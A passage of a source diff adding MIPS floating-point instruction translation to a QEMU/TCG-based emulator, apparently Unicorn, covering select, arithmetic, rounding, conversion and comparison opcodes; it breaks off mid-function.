tcg_gen_andi_i32(tcg_ctx, fp0, fp0, 1); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_NE, fp0, fp0, t1, fp1, fp2); + break; + case OPC_SELEQZ_S: + tcg_gen_andi_i32(tcg_ctx, fp1, fp1, 1); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_EQ, fp0, fp1, t1, fp2, t1); + break; + case OPC_SELNEZ_S: + tcg_gen_andi_i32(tcg_ctx, fp1, fp1, 1); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_NE, fp0, fp1, t1, fp2, t1); + break; + default: + MIPS_INVAL("gen_sel_s"); + generate_exception (ctx, EXCP_RI); + break; + } + + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + tcg_temp_free_i32(tcg_ctx, fp1); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, t1); +} + +static void gen_sel_d(DisasContext *ctx, enum fopcode op1, int fd, int ft, + int fs) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv_i64 t1 = tcg_const_i64(tcg_ctx, 0); + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fd); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fs); + + switch (op1) { + case OPC_SEL_D: + tcg_gen_andi_i64(tcg_ctx, fp0, fp0, 1); + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_NE, fp0, fp0, t1, fp1, fp2); + break; + case OPC_SELEQZ_D: + tcg_gen_andi_i64(tcg_ctx, fp1, fp1, 1); + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_EQ, fp0, fp1, t1, fp2, t1); + break; + case OPC_SELNEZ_D: + tcg_gen_andi_i64(tcg_ctx, fp1, fp1, 1); + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_NE, fp0, fp1, t1, fp2, t1); + break; + default: + MIPS_INVAL("gen_sel_d"); + generate_exception (ctx, EXCP_RI); + break; + } + + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + tcg_temp_free_i64(tcg_ctx, fp1); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, t1); +} + +static void gen_farith (DisasContext *ctx, enum fopcode op1, + int ft, int fs, int fd, int cc) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "farith"; + const char *condnames[] = { + "c.f", + "c.un", + "c.eq", + "c.ueq", + "c.olt", + "c.ult", + "c.ole", + "c.ule", + "c.sf", + "c.ngle", + "c.seq", + "c.ngl", + "c.lt", + "c.nge", + "c.le", + "c.ngt", + }; + const char *condnames_abs[] = { + "cabs.f", + "cabs.un", + "cabs.eq", + "cabs.ueq", + "cabs.olt", + "cabs.ult", + "cabs.ole", + "cabs.ule", + "cabs.sf", + "cabs.ngle", + "cabs.seq", + "cabs.ngl", + "cabs.lt", + "cabs.nge", + "cabs.le", + "cabs.ngt", + }; + enum { BINOP, CMPOP, OTHEROP } optype = OTHEROP; + uint32_t func = ctx->opcode & 0x3f; + + switch (op1) { + case OPC_ADD_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_add_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "add.s"; + optype = BINOP; + break; + case OPC_SUB_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_sub_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "sub.s"; + optype = BINOP; + break; + case OPC_MUL_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_mul_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "mul.s"; + optype = BINOP; + break; + case OPC_DIV_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_div_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "div.s"; + optype = BINOP; + break; + case OPC_SQRT_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_sqrt_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "sqrt.s"; + break; + case OPC_ABS_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_abs_s(tcg_ctx, fp0, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "abs.s"; + break; + case OPC_MOV_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "mov.s"; + break; + case OPC_NEG_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_chs_s(tcg_ctx, fp0, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "neg.s"; + break; + case OPC_ROUND_L_S: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr32(ctx, fp32, fs); + gen_helper_float_roundl_s(tcg_ctx, fp64, tcg_ctx->cpu_env, fp32); + tcg_temp_free_i32(tcg_ctx, fp32); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "round.l.s"; + break; + case OPC_TRUNC_L_S: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr32(ctx, fp32, fs); + gen_helper_float_truncl_s(tcg_ctx, fp64, tcg_ctx->cpu_env, fp32); + tcg_temp_free_i32(tcg_ctx, fp32); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "trunc.l.s"; + break; + case OPC_CEIL_L_S: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr32(ctx, fp32, fs); + gen_helper_float_ceill_s(tcg_ctx, fp64, tcg_ctx->cpu_env, fp32); + tcg_temp_free_i32(tcg_ctx, fp32); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "ceil.l.s"; + break; + case OPC_FLOOR_L_S: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr32(ctx, fp32, fs); + gen_helper_float_floorl_s(tcg_ctx, fp64, tcg_ctx->cpu_env, fp32); + tcg_temp_free_i32(tcg_ctx, fp32); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "floor.l.s"; + break; + case OPC_ROUND_W_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_roundw_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "round.w.s"; + break; + case OPC_TRUNC_W_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_truncw_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "trunc.w.s"; + break; + case OPC_CEIL_W_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_ceilw_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "ceil.w.s"; + break; + case OPC_FLOOR_W_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_floorw_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "floor.w.s"; + break; + case OPC_SEL_S: + check_insn(ctx, ISA_MIPS32R6); + gen_sel_s(ctx, op1, fd, ft, fs); + opn = "sel.s"; + break; + case OPC_SELEQZ_S: + check_insn(ctx, ISA_MIPS32R6); + gen_sel_s(ctx, op1, fd, ft, fs); + opn = "seleqz.s"; + break; + case OPC_SELNEZ_S: + check_insn(ctx, ISA_MIPS32R6); + gen_sel_s(ctx, op1, fd, ft, fs); + opn = "selnez.s"; + break; + case OPC_MOVCF_S: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + gen_movcf_s(ctx, fs, fd, (ft >> 2) & 0x7, ft & 0x1); + opn = "movcf.s"; + break; + case OPC_MOVZ_S: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + { + int l1 = gen_new_label(tcg_ctx); + TCGv_i32 fp0; + + if (ft != 0) { + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, *cpu_gpr[ft], 0, l1); + } + fp0 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + gen_set_label(tcg_ctx, l1); + } + opn = "movz.s"; + break; + case OPC_MOVN_S: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + { + int l1 = gen_new_label(tcg_ctx); + TCGv_i32 fp0; + + if (ft != 0) { + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, *cpu_gpr[ft], 0, l1); + fp0 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + gen_set_label(tcg_ctx, l1); + } + } + opn = "movn.s"; + break; + case OPC_RECIP_S: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_recip_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "recip.s"; + break; + case OPC_RSQRT_S: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_rsqrt_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "rsqrt.s"; + break; + case OPC_MADDF_S: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_load_fpr32(ctx, fp2, fd); + gen_helper_float_maddf_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + tcg_temp_free_i32(tcg_ctx, fp1); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "maddf.s"; + } + break; + case OPC_MSUBF_S: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_load_fpr32(ctx, fp2, fd); + gen_helper_float_msubf_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + tcg_temp_free_i32(tcg_ctx, fp1); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "msubf.s"; + } + break; + case OPC_RINT_S: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_rint_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "rint.s"; + } + break; + case OPC_CLASS_S: + check_insn(ctx, ISA_MIPS32R6); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_class_s(tcg_ctx, fp0, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "class.s"; + } + break; + case OPC_MIN_S: /* OPC_RECIP2_S */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MIN_S */ + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_min_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + tcg_temp_free_i32(tcg_ctx, fp1); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "min.s"; + } else { + /* OPC_RECIP2_S */ + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_recip2_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "recip2.s"; + } + break; + case OPC_MINA_S: /* OPC_RECIP1_S */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MINA_S */ + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_mina_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + tcg_temp_free_i32(tcg_ctx, fp1); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "mina.s"; + } else { + /* OPC_RECIP1_S */ + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_recip1_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "recip1.s"; + } + break; + case OPC_MAX_S: /* OPC_RSQRT1_S */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MAX_S */ + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_max_s(tcg_ctx, fp1, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr32(ctx, fp1, fd); + tcg_temp_free_i32(tcg_ctx, fp1); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "max.s"; + } else { + /* OPC_RSQRT1_S */ + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_rsqrt1_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "rsqrt1.s"; + } + break; + case OPC_MAXA_S: /* OPC_RSQRT2_S */ + if (ctx->insn_flags & ISA_MIPS32R6) { + /* OPC_MAXA_S */ + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_maxa_s(tcg_ctx, fp1, tcg_ctx->cpu_env, fp0, fp1); + gen_store_fpr32(ctx, fp1, fd); + tcg_temp_free_i32(tcg_ctx, fp1); + tcg_temp_free_i32(tcg_ctx, fp0); + opn = "maxa.s"; + } else { + /* OPC_RSQRT2_S */ + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_helper_float_rsqrt2_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "rsqrt2.s"; + } + break; + case OPC_CVT_D_S: + check_cp1_registers(ctx, fd); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr32(ctx, fp32, fs); + gen_helper_float_cvtd_s(tcg_ctx, fp64, tcg_ctx->cpu_env, fp32); + tcg_temp_free_i32(tcg_ctx, fp32); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "cvt.d.s"; + break; + case OPC_CVT_W_S: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_helper_float_cvtw_s(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr32(ctx, fp0, fd); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "cvt.w.s"; + break; + case OPC_CVT_L_S: + check_cp1_64bitmode(ctx); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr32(ctx, fp32, fs); + gen_helper_float_cvtl_s(tcg_ctx, fp64, tcg_ctx->cpu_env, fp32); + tcg_temp_free_i32(tcg_ctx, fp32); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "cvt.l.s"; + break; + case OPC_CVT_PS_S: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + TCGv_i32 fp32_0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp32_1 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp32_0, fs); + gen_load_fpr32(ctx, fp32_1, ft); + tcg_gen_concat_i32_i64(tcg_ctx, fp64, fp32_1, fp32_0); + tcg_temp_free_i32(tcg_ctx, fp32_1); + tcg_temp_free_i32(tcg_ctx, fp32_0); + gen_store_fpr64(ctx, fp64, fd); + tcg_temp_free_i64(tcg_ctx, fp64); + } + opn = "cvt.ps.s"; + break; + case OPC_CMP_F_S: + case OPC_CMP_UN_S: + case OPC_CMP_EQ_S: + case OPC_CMP_UEQ_S: + case OPC_CMP_OLT_S: + case OPC_CMP_ULT_S: + case OPC_CMP_OLE_S: + case OPC_CMP_ULE_S: + case OPC_CMP_SF_S: + case OPC_CMP_NGLE_S: + case OPC_CMP_SEQ_S: + case OPC_CMP_NGL_S: + case OPC_CMP_LT_S: + case OPC_CMP_NGE_S: + case OPC_CMP_LE_S: + case OPC_CMP_NGT_S: + check_insn_opc_removed(ctx, ISA_MIPS32R6); + if (ctx->opcode & (1 << 6)) { + gen_cmpabs_s(ctx, func-48, ft, fs, cc); + opn = condnames_abs[func-48]; + } else { + gen_cmp_s(ctx, func-48, ft, fs, cc); + opn = condnames[func-48]; + } + break; + case OPC_ADD_D: + check_cp1_registers(ctx, fs | ft | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_add_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "add.d"; + optype = BINOP; + break; + case OPC_SUB_D: + check_cp1_registers(ctx, fs | ft | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_sub_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "sub.d"; + optype = BINOP; + break; + case OPC_MUL_D: + check_cp1_registers(ctx, fs | ft | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_mul_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "mul.d"; + optype = BINOP; + break; + case OPC_DIV_D: + check_cp1_registers(ctx, fs | ft | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_helper_float_div_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0, fp1); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "div.d"; + optype = BINOP; + break; + case OPC_SQRT_D: + check_cp1_registers(ctx, fs | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_sqrt_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "sqrt.d"; + break; + case OPC_ABS_D: + check_cp1_registers(ctx, fs | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_abs_d(tcg_ctx, fp0, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "abs.d"; + break; + case OPC_MOV_D: + check_cp1_registers(ctx, fs | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "mov.d"; + break; + case OPC_NEG_D: + check_cp1_registers(ctx, fs | fd); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_chs_d(tcg_ctx, fp0, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "neg.d"; + break; + case OPC_ROUND_L_D: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_roundl_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "round.l.d"; + break; + case OPC_TRUNC_L_D: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_truncl_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "trunc.l.d"; + break; + case OPC_CEIL_L_D: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_ceill_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "ceil.l.d"; + break; + case OPC_FLOOR_L_D: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_helper_float_floorl_d(tcg_ctx, fp0, tcg_ctx->cpu_env, fp0); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "floor.l.d"; + break; + case OPC_ROUND_W_D: + check_cp1_registers(ctx, fs); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp64, fs); + gen_helper_float_roundw_d(tcg_ctx, fp32, tcg_ctx->cpu_env, fp64); + tcg_temp_free_i64(tcg_ctx, fp64); + gen_store_fpr32(ctx, fp32, fd); + tcg_temp_free_i32(tcg_ctx, fp32); + } + opn = "round.w.d"; + break; + case OPC_TRUNC_W_D: + check_cp1_registers(ctx, fs); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp64, fs); + gen_helper_float_truncw_d(tcg_ctx, fp32, tcg_ctx->cpu_env, fp64); + tcg_temp_free_i64(tcg_ctx, fp64); + gen_store_fpr32(ctx, fp32, fd); + tcg_temp_free_i32(tcg_ctx, fp32); + } + opn = "trunc.w.d"; + break; + case OPC_CEIL_W_D: + check_cp1_registers(ctx, fs); + { + TCGv_i32 fp32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp64 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp64, fs); + gen_helper_float_ceilw_d(tcg_ctx, fp32, tcg_ctx->cpu_env, fp64); + tcg_temp_free_i64(tcg_ctx, fp64); + gen_store_fpr32(ctx, fp32, fd); + tcg_temp_free_i32(tcg_ctx, fp32); + } + opn = "ceil.w.d"; + break; + case OPC_FLOOR_W_D: + check_cp1_registers(ctx, fs); + { + TCGv_i32 fp32 